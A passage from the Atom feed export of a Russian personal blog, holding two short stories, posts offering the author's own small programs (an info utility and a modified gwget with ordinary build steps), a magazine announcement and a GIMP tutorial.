господа-бога. Когда узнал, что можно сходить к нему на аудиенцию – решился не сразу. Долго раздумывал. Ходил по комнате из угла в угол. В голову приходили, прибегали, приезжали, прилетали, приплывали и лезли самые разные мысли. Проникали в сознание назойливыми кинокадрами: солнечный протуберанец и грибок ядерного взрыва, северное сияние и коралловый риф на дне Марианской впадины. Не понятно к чему вспомнились раритетные, еще черно-белые советские фильмы про пионеров.&lt;br /&gt;Вот теперь стою в очереди. Жду. Наверное, довольно, долго. Несколько раз пытался заговорить с девушкой впереди. Она только мотала головой из стороны в сторону, да бормотала что-то невнятное. Вроде бы даже не на русском. Очень уж хотелось с ней поговорить. Долго выяснял, что за наречие она использует. Оказалось, говорит на французском. Попросил подержать мое место деловитого, румяного мальчишку позади. Сам спустился вниз по хлипкой деревянной лестнице. Купил французский разговорник у толстого мужика, торговавшего колбасой (Если будет возможность обязательно нужно узнать у господина всевышнего, откуда у этого обритого на лысо бородача, оказался подобный словарь).&lt;br /&gt;Поднимался наверх, размышляя о девушке. Пока поднимался - выучил французский. Долго представлял, как займу свое место в очереди и с достоинством спрошу:&lt;br /&gt;&lt;br /&gt;- Мадемуазель, парле ля франсе?&lt;br /&gt;Собственно с чего я взял, что она мадемуазель. Может и вовсе она мадам. Обидно будет, обидно.&lt;br /&gt;&lt;br /&gt;Долго бегал взад вперед, пытаясь найти свое место в очереди. Когда нашел, еще дольше ругался, чтобы занять его. Мальчишку не узнал. Тот возмужал и подрос. Забавно. Девушка, правда, нисколечко не изменилась. Только волосы стали длиннее, да глаза потускнели. Обошел вокруг несколько раз. Внимания не обратила. Стояла как завороженная, чего-то ждала. Ах! Да, точно! Аудиенция.…&lt;br /&gt;&lt;br /&gt;Пока приводил ее в себя, тараторя то на русском, то на французском, паренек позади еще более возмужал. Странно и вообще ситуация какая-то странная. Но она меня заметила. О чудо!&lt;br /&gt;&lt;br /&gt;- Чего вам Месье? – спросила она на французском, пристально смотря на меня, - ходите тут вокруг да около, стали бы и ждали своей очереди.&lt;br /&gt;- Да к черту очередь мадемуазель! – горячо сказал я, - что вам от него нужно?&lt;br /&gt;Девушка задумалась надолго. Нахмурив брови, ответила:&lt;br /&gt;- Честно говоря, незнаю. Вопросов много, а ответ будет лишь один…&lt;br /&gt;- Тогда пойдемте отсюда, - произнес я, поправляя несуществующий ворот, - не чего тут стоять.&lt;br /&gt;- Думаете? – сомневаясь, спросила она.&lt;br /&gt;- Ну, конечно! Меня Антоном звать. Пойдемте-пойдемте. У нас на невском сейчас, наверное, невероятно славно, - продолжал я, - вы бывали в Санкт-Петербурге?&lt;br /&gt;- Нет, не бывала, - проговорила она, и ее глаза вновь расцвели.&lt;br /&gt;- Значит, нечего и думать. Идемте. - Напирал я. Тогда она огляделась, взглянула на длинную очередь, кивнула. И радостно сказала:&lt;br /&gt;&lt;br /&gt;- Силь ву пле, месье. Идемте. Меня Натали звать.… На ваш манер Наташей…&lt;br /&gt;&lt;br /&gt;Я взял ее за руку и улыбнулся…&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;em class="bbc" style="font-style: italic !important;"&gt;29 октября 2010 г.&lt;br /&gt;&lt;span class="bbc_right" style="display: block; text-align: right;"&gt;by Kerny&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-8568203197440931131?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/8568203197440931131/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/06/blog-post_3354.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/8568203197440931131'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/8568203197440931131'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/06/blog-post_3354.html' title='В приемной у Господа-бога'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-4551797723589751620</id><published>2011-06-05T21:12:00.006+04:00</published><updated>2011-06-05T21:19:47.998+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Рассказы'/><title type='text'>Последний разговор Ветра</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class="Apple-style-span" style="color: #333333; font-family: Arial, Helvetica, sans-serif; line-height: 19px;"&gt;&lt;span class="bbc_center" style="display: block; text-align: left;"&gt;&lt;span class="Apple-style-span"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;- Что тебе хочется делать осенью? – подул ветер бережно роняя желтые листья на мостовую. Со скрипом открылась потертая дверь и из-за нее показался человек. Солнце искорками играло в его глазах. Он был не высок, волосы слегка тронула седина. Размеренными шагами он шел по улице. С интересом наблюдая за тремя синицами, насупив горло, бродящими по черной от утреннего дождя земле. Съеденный на завтрак бутерброд и наспех выпитая кружка горячего чая, приятно бодрили сознание. В правой руке он нес тубус с чертежами. На спине болтался рюкзак с рабочим ноутбуком. Из-за поворота медленно выехала мусороуборочная машина, окрашенная в оранжево-красные цвета. На крыше у нее поочередно мерцали два огонька. Что-то пару раз клацнуло и пожухлые листья, беспорядочно валявшиеся на мостовой, полетели в сторону автомата-уборщика. Человек прошел мимо, непонятно от чего улыбнувшись железному дворнику.&lt;br /&gt;&lt;br /&gt;- Осенью мне хочется жить, - ответил человек когда ветер подул еще раз. Ветер остановился и задумался ненадолго. Потом прошептал:&lt;br /&gt;&lt;br /&gt;- А мне, хочется быть сильнее. Чтобы я выдохнул и листья хороводом закружились в воздухе. – Теперь задумался человек. Остановился, поправляя рюкзак. Проговорил уверенно:&lt;br /&gt;-Значит, Ветер, ты тоже хочешь жить осенью…&lt;br /&gt;- Нет, не только осенью, хочу всегда.&lt;br /&gt;- Мне кажется, - сказал человек, - у тебя получится. А вот у меня вряд ли.&lt;br /&gt;- Верно,- произнес ветер и не соврал. – Я видел таких как ты не раз. За последние годы ты сильно изменился.&lt;br /&gt;Человек не нашелся что ответить. Лишь еле заметно покачал головой. Спросил:&lt;br /&gt;- Какие у тебя планы на вечер?&lt;br /&gt;- Все те же, - сказал ветер, - буду гонять листья и двигать облака по небу.&lt;br /&gt;- Довольно скучно, - констатировал человек.- Если хочешь я могу выйти вечером. Погуляем вместе. Что скажешь?&lt;br /&gt;- А как же облака и листья? – шепнул ветер с испугом.&lt;br /&gt;- Я думаю, они могут подождать, - говорил человек, - спроси «могут или нет?»&lt;br /&gt;- Хорошо крикнул ветер с энтузиазмом, - Жди зде-е-е-сь я ско-о-о-ро! – И он поднялся высоко-высоко в небо. Бережно он облетал парящих птиц, чтобы не сбить их ненароком. Он знал, что звери в том числе и люди, очень хрупкие создания. Потом он отыскал облака и громко спросил, можно ли ему, ветру отлучиться ненадолго. Они поворчали недолго и в конце концов согласились. Ветер обрадованный устремился вниз. У самой земли он успокоился, сбавив скорость. Прищурился. Наконец, нашел листья и уже тише поинтересовался, отпустят ли они его погулять с человеком. Осенние листья пошелестели немного и решили, что отпустят.&lt;br /&gt;&lt;br /&gt;Ветер так обрадовался, что разыгрался не на шутку. Смеясь, он вернулся к человеку и тот улыбнулся в ответ.&lt;br /&gt;- Я вижу твою радость ветер, Значит ли это, что тебя отпустили?&lt;br /&gt;- Да, человек! Значит! Позволь узнать твое имя? – обрадовано спросил он, видя, что человек тоже рад.&lt;br /&gt;- Его я скажу тебе вечером, - поежившись, сказал человек. – Сейчас мне нужно идти по делам. Он приподнял вверх тубус, передернул рюкзак, указал на железного дворника.&lt;br /&gt;&lt;br /&gt;- Это я его сделал. Мы их называем роботами. Они помогают нам. И тебе, между прочим, работы меньше. Могу попросить его погонять листья за тебя. Хочешь?&lt;br /&gt;- Нет, спасибо. Сам справлюсь, - прошептал ветер.&lt;br /&gt;- Ну, тогда до вечера, - сказал человек, улыбнулся и пошел на работу.&lt;br /&gt;Ветер закружился ему на прощание, поднимая в воздух листья.&lt;br /&gt;&lt;br /&gt;Улица была пуста. Мрак окутал ее со всех сторон. Зажглись фонари, с трудом разгоняя темноту. Облака замерли в иссиня-черном небе. Листья неподвижно лежали на мостовой.&lt;br /&gt;Ветер ждал человека. Человек опаздывал. Ветер летал из одного конца города в другой. Пытался спрашивать у людей, который час. Но они его не понимали. Лишь зябко кутались в свои плащи и куртки, да шмыгали носом. Ветру оставалось только ждать, и он ждал. Так прошла ночь, и наступило утро. Человек не пришел… Ветер совсем расстроился, но все, же решил не уходить. – Человек, как он это обычно делает, должен пойти на работу, по своим делам.&lt;br /&gt;Спустя несколько минут из-за поворота показалась оранжево-красная мусороуборочная машина. На крыше у нее поочередно мерцали огоньки. Что-то пару раз клацнуло и неподвижные листья потянулись к роботу-уборщику…&lt;br /&gt;&lt;br /&gt;Потом ветер узнал, что человек не пришел, потому что не смог жить осенью.… Хотя очень-очень хотел. Человек ушел навсегда, а ветер остался навечно. И он заплакал холодным осенним дождем, разнося последнюю песню по мокрым тоскливым улицам.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;em class="bbc" style="font-style: italic !important;"&gt;20 октября 2010 г.&lt;br /&gt;&lt;br /&gt;&lt;span class="bbc_right" style="display: block; text-align: right;"&gt;by Kerny&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-4551797723589751620?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/4551797723589751620/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2011/06/blog-post_05.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/4551797723589751620'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/4551797723589751620'/><link rel='alternate' type='text/html' href='http://kerny.ru/2011/06/blog-post_05.html' title='Последний разговор Ветра'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-5738691581988400849</id><published>2010-05-07T12:32:00.000+04:00</published><updated>2010-05-07T12:32:46.412+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программы'/><title type='text'>InfoBoot</title><content type='html'>&lt;b&gt;InfoBoot&lt;/b&gt; - программа, cобирающая информацию о Компьютере, ее можно представить как одну из длинного списка подобных. Надеюсь вам понравится простотой и понятный интерфейс, скорость работы и некоторые дополнительные возможности.&lt;br /&gt;&lt;br /&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_oxXdxKIGwp0/S-PPUsKVUGI/AAAAAAAAARQ/iKOb5F2dO9w/s320/1.PNG" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://depositfiles.com/files/kbpw7tc33"&gt;Скачать&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Первая программа, которую я написал. Нашел сегодня на старой флэшке, прикольно. Там на один модуль ругается антивирус, можете его удалить, если мне не доверяете. Никаких существенных недостатков не появится (на вкладке сеть будет представленна не полная информация).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-5738691581988400849?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/5738691581988400849/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2010/05/infoboot.html#comment-form' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5738691581988400849'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5738691581988400849'/><link rel='alternate' type='text/html' href='http://kerny.ru/2010/05/infoboot.html' title='InfoBoot'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_oxXdxKIGwp0/S-PPUsKVUGI/AAAAAAAAARQ/iKOb5F2dO9w/s72-c/1.PNG' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-4659221634764759395</id><published>2010-03-29T23:04:00.003+04:00</published><updated>2011-08-07T16:26:18.829+04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Другое'/><title type='text'>Осколки Миров</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://o-mr.ru/magazine/images/1%281%29.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://o-mr.ru/magazine/images/1%281%29.jpg" width="141" /&gt;&lt;/a&gt;&lt;a href="http://o-mr.ru/magazine/images/1%282%29.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://o-mr.ru/magazine/images/1%282%29.jpg" width="141" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Журнал "&lt;b&gt;&lt;a href="http://o-mr.ru/"&gt;Осколки Миров&lt;/a&gt;&lt;/b&gt;", посвящен философии, искусству, фантастике, технологиям, различным выдуманным мирам, а возможно и не выдуманным, вашим авторским проектам и творчеству. Следует немного рассказать о том, что означает название журнала. "&lt;b&gt;&lt;a href="http://o-mr.ru/"&gt;Осколки Миров&lt;/a&gt;&lt;/b&gt;" что вам представляется, когда произносите эту фразу? В общем, это неважно. Мы попытаемся собрать кусочки, самых интересных "вещей" когда-либо придуманных человечеством (а если получится, то не только человечеством, так-то).  Очень хочется, чтобы вы оставили свое мнение на форуме журнала. И еще, буду рад вам сообщить, что журналу нужны грамотные авторы статей, рассказов, рецензий, комиксов.  Также нам просто необходимы художники, фотографы, которым не лень будет иллюстрировать рассказы подробности на вкладке "участие". Пока, к сожалению, весь процесс создания журнала держится на чистом энтузиазме. Мы надеемся на вас и не поднимайте брови в удивлении, от вашей активности зависит качество журнала. Мы готовы выслушать ваши идеи по поводу улучшения журнала и принять в свой круг новых участников.&lt;br /&gt;&lt;br /&gt;Думаю, наконец-то вы можете сказать: "Слава Богам". Вообще благодарить нужно не богов, а тех ребят, что прислали свои работы... Перед вами первый выпуск журнала "&lt;b&gt;&lt;a href="http://o-mr.ru/"&gt;Осколки Миров&lt;/a&gt;&lt;/b&gt;"! Ура! Скажу сразу, первый на то и первый, так что выноса мозга ждать не приходится. Вам  его читать, вам его оценивать, очень жду отзывов в соответствующей ветке форума. Надеюсь после выхода этого номера, количество авторов присылающих свои работы - увеличится. Желаю вам приятного прочтения. С этим, первым выпуском открывается и первый конкурс (не обойдется и без приза), подробности читайте в журнале, если будут вопросы - задавайте на форуме.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Формат&lt;/b&gt;:  &lt;i&gt;pdf&lt;/i&gt;&lt;br /&gt;&lt;b&gt;Количество страниц&lt;/b&gt;: &lt;i&gt;45&lt;/i&gt;&lt;br /&gt;&lt;b&gt;Вес&lt;/b&gt;: 33.2 &lt;i&gt;мб&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://o-mr.ru/%D0%B6%D1%83%D1%80%D0%BD%D0%B0%D0%BB/%D0%BE%D1%81%D0%BA%D0%BE%D0%BB%D0%BA%D0%B8-%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%28%D0%BC%D0%B0%D1%80%D1%82-2010%29"&gt;Скачать&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-4659221634764759395?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://o-mr.ru/' title='Осколки Миров'/><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/4659221634764759395/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2010/03/blog-post.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/4659221634764759395'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/4659221634764759395'/><link rel='alternate' type='text/html' href='http://kerny.ru/2010/03/blog-post.html' title='Осколки Миров'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-5984317792505586546</id><published>2010-03-19T18:59:00.003+03:00</published><updated>2010-03-19T19:10:48.099+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Программы'/><title type='text'>Gwget модификация от Kerny</title><content type='html'>&lt;div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;/div&gt;&lt;br /&gt;В очередной раз убеждаюсь, что умение программировать чрезвычайно полезно. Допустим, есть у тебя программа в которой все вроде-бы хорошо, работаешь с ней работаешь и вдруг находишь один маленький, но существенный недостаток, отсутствие какой-то простой функции и прочее... Начинаешь искать аналогичную программу и оказывается авторы не уделяют в своих программах этому маленькому, но существенному недостатку внимание. Если ты простой смертный - пользователь, то тебе остается только смирится с таким положение дел, а вот если умеешь &amp;nbsp;программировать, то &amp;nbsp;в голове уже начинают &amp;nbsp;строится грандиозные&amp;nbsp; планы по изменению плачевного положения. Это если доступны исходники... Но они доступны, если ты юзаешь Linux! Недавно я столкнулся с такой же проблемой. &amp;nbsp;Пришлось качать громоздкие файлы с файлообменников, а скорость у меня не ахти. Всем известно, что на файлообменниках ссылка устаревает, если не успел скачать файл или машина ненароком перезагрузилась - приходится качать заново при любом раскладе, даже если файл скачан на 90%. А все потому, что менеджерах загрузок для linux (на windows в download master все нормально устроенно) таких как gwget, kget нет функции замены ссылки на новую. Я решил это дело исправить - скачал gwget, стал копаться в исходниках, сразу понял что к чему, дописал пару функций и вуаля!&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://lh4.ggpht.com/_oxXdxKIGwp0/S6OddkuaX-I/AAAAAAAAAQA/pxY48Bq10-g/s1600/01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="173" src="http://lh4.ggpht.com/_oxXdxKIGwp0/S6OddkuaX-I/AAAAAAAAAQA/pxY48Bq10-g/s400/01.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Скачайте и распакуйте архив в нужную папку. Для &amp;nbsp;установки введите следующие команды:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;i&gt;$./configure&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;$make&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;$su root&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;#make install&amp;nbsp;&lt;/i&gt;&lt;/li&gt;&lt;/ol&gt;Для того чтобы поменять ссылку - нужно войти в свойства загрузки. Для принятия изменений нажать кнопку &lt;b&gt;&lt;i&gt;OK&lt;/i&gt;&lt;/b&gt;, кнопку &lt;b&gt;Закрыть&lt;/b&gt;, если не хотите ничего менять. Возможно все это дело выльется в отдельную программу, вдруг захочется добавить функционала.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://depositfiles.com/files/v95nrnnjs"&gt;Скачать&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-5984317792505586546?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/5984317792505586546/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2010/03/gwget-kerny.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5984317792505586546'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/5984317792505586546'/><link rel='alternate' type='text/html' href='http://kerny.ru/2010/03/gwget-kerny.html' title='Gwget модификация от Kerny'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_oxXdxKIGwp0/S6OddkuaX-I/AAAAAAAAAQA/pxY48Bq10-g/s72-c/01.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-1340484610809511165</id><published>2010-03-11T00:12:00.014+03:00</published><updated>2010-03-11T00:34:36.264+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>Некоторые вещи в GIMP.</title><content type='html'>&lt;blockquote&gt;GIMP (Гимп) — растровый графический редактор, программа для создания и обработки растровой графики.&lt;/blockquote&gt;&lt;br /&gt;GIMP, одна из самых сильных программ для редактирования графики, является кроссплатформенным программным обеспечением, оказала большое влияние на развитие движения свободного ПО. На основе Gimp, создано несколько проектов FilmGimp/Cinepaint/Glasgow, GIMPshop, Seashore.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;Создание gif-анимации в gimp.&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1.&lt;/b&gt; Создать изображение.&lt;br /&gt;&lt;i&gt;Открыть растровый редактор Gimp, используя команду &lt;b&gt;[Файл-Создать]&lt;/b&gt; создать изображение нужного размера.&lt;/i&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;b&gt;&amp;nbsp;2.&lt;/b&gt; Рисуете красивый фон, копируете его.&lt;/div&gt;&lt;div align="left"&gt;&lt;i&gt;Для этого выполнить следующие действия &lt;b&gt;[слой-продублировать слой]&lt;/b&gt;. Каждый слой будет отдельным кадром нашей анимации.  У нас получилось два кадра, меняете второй в зависимости, от того что вам нужно. Остальные кадры создаются аналогично.&lt;/i&gt;&lt;br /&gt;&lt;b&gt;3.&lt;/b&gt; Предварительный просмотр получившейся анимации.&lt;br /&gt;&lt;i&gt;Открываете меню &lt;b&gt;[Фильтры-Анимация-Воспроизведение]&lt;/b&gt; и наслаждаетесь своей работой.&lt;/i&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;4.&lt;/b&gt; Установить переходы между кадрами.&lt;br /&gt;&lt;i&gt;Используете команду &lt;b&gt;[Фильтры-Анимация]&lt;/b&gt; выбираете из списка нужный переход.&lt;/i&gt;&lt;br /&gt;&lt;b&gt;5. &lt;/b&gt;Сохранение анимации.&lt;br /&gt;&lt;i&gt;&lt;b&gt;[Файл-Сохранить как…]&lt;/b&gt; Выбираете тип сохраняемого файла – &lt;b&gt;gif&lt;/b&gt;. В открывшемся диалоговом окне, ставите значение на «Сохранить как анимацию», в следующем окне устанавливаете галочку на «Бесконечный цикл», указываете задержку между кадрами, жмете «ок».&lt;/i&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: small;"&gt;Создание кистей для gimp.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1.&lt;/b&gt; Создать новое изображение с прозрачным фоном&lt;br /&gt;&lt;i&gt;&lt;b&gt;[Файл-Создать]&lt;/b&gt;, указываете нужный размер кисти, допустим 100x100, разворачиваете пункт «&lt;b&gt;Расширенные параметры&lt;/b&gt;». Цвет фона – устанавливаете в прозрачный.&lt;/i&gt;&lt;br /&gt;&lt;b&gt;2.&lt;/b&gt;&lt;i&gt;&lt;b&gt; &lt;/b&gt;&lt;/i&gt;Рисуете кисть.&lt;br /&gt;&lt;b&gt;3.&lt;/b&gt; Сохраняете изображение в нужном формате.&lt;br /&gt;&lt;i&gt;&lt;b&gt;[Файл-Сохранить как]&lt;/b&gt;  Тип сохраняемого файла должен быть «&lt;b&gt;Кисть GIMP&lt;/b&gt;», расширение «gbr».&lt;/i&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://lh4.ggpht.com/_oxXdxKIGwp0/S5gK8-CkgYI/AAAAAAAAAP8/9IAezJAuXoM/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="224" src="http://lh4.ggpht.com/_oxXdxKIGwp0/S5gK8-CkgYI/AAAAAAAAAP8/9IAezJAuXoM/s320/1.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;span style="font-size: small;"&gt;&lt;strong&gt;Установка новых кистей и шрифтов в gimp.&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1.&lt;/b&gt; Узнать директории, в которых хранятся кисти и шрифты.&lt;br /&gt;&lt;i&gt;Открываете меню &lt;b&gt;[Правка-Параметры]&lt;/b&gt; в открывшемся окне выбираете пункт &lt;b&gt;[Каталоги-Кисти]&lt;/b&gt; выделяете строку, напротив, которого стоит галочка, это и есть путь, запоминаете его или копируете куда-нибудь. Для шрифтов используете команду &lt;b&gt;[Каталоги-Шрифты]&lt;/b&gt;.&lt;/i&gt;&lt;br /&gt;&lt;b&gt;2.&lt;/b&gt; Распаковываете, копируете заранее скачанные/созданные файлы кистей, шрифтов в нужные папки.&lt;br /&gt;&lt;b&gt;3.&lt;/b&gt; Обновляете данные.&lt;br /&gt;&lt;i&gt;Перезапускаете gimp, или же на панели кистей, жмете правую кнопку мыши и в контекстном меню выбираете пункт «&lt;b&gt;Обновить Кисти&lt;/b&gt;».  Для шрифтов выполняете команду &lt;b&gt;[Окна-Панели-Шрифты]&lt;/b&gt; в открывшемся окне вызываете контекстное меню – «пересчитать список шрифтов».&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Помимо всего прочего Gimp поддерживает, кисти от photoshop, а также формат PSD(формат проектов photoshop).&lt;br /&gt;&lt;br /&gt;&lt;div align="right"&gt;&lt;i&gt;10.02.10&lt;/i&gt;&lt;/div&gt;&lt;div align="right"&gt;&lt;i&gt;©Kerny&lt;/i&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4201466663544641787-1340484610809511165?l=kerny.ru' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kerny.ru/feeds/1340484610809511165/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://kerny.ru/2010/03/gimp.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1340484610809511165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4201466663544641787/posts/default/1340484610809511165'/><link rel='alternate' type='text/html' href='http://kerny.ru/2010/03/gimp.html' title='Некоторые вещи в GIMP.'/><author><name>Kerny</name><uri>http://www.blogger.com/profile/10363572091979688123</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-hzGlDzZnY-s/ToCB_rvN95I/AAAAAAAAAVw/bEDD60sxW9o/s220/23.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_oxXdxKIGwp0/S5gK8-CkgYI/AAAAAAAAAP8/9IAezJAuXoM/s72-c/1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4201466663544641787.post-1308289372577350699</id><published>2010-02-15T19:08:00.002+03:00</published><updated>2010-02-15T19:15:24.082+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Другое'/><title type='text'>О чем написать?</title><content type='html'>Привет 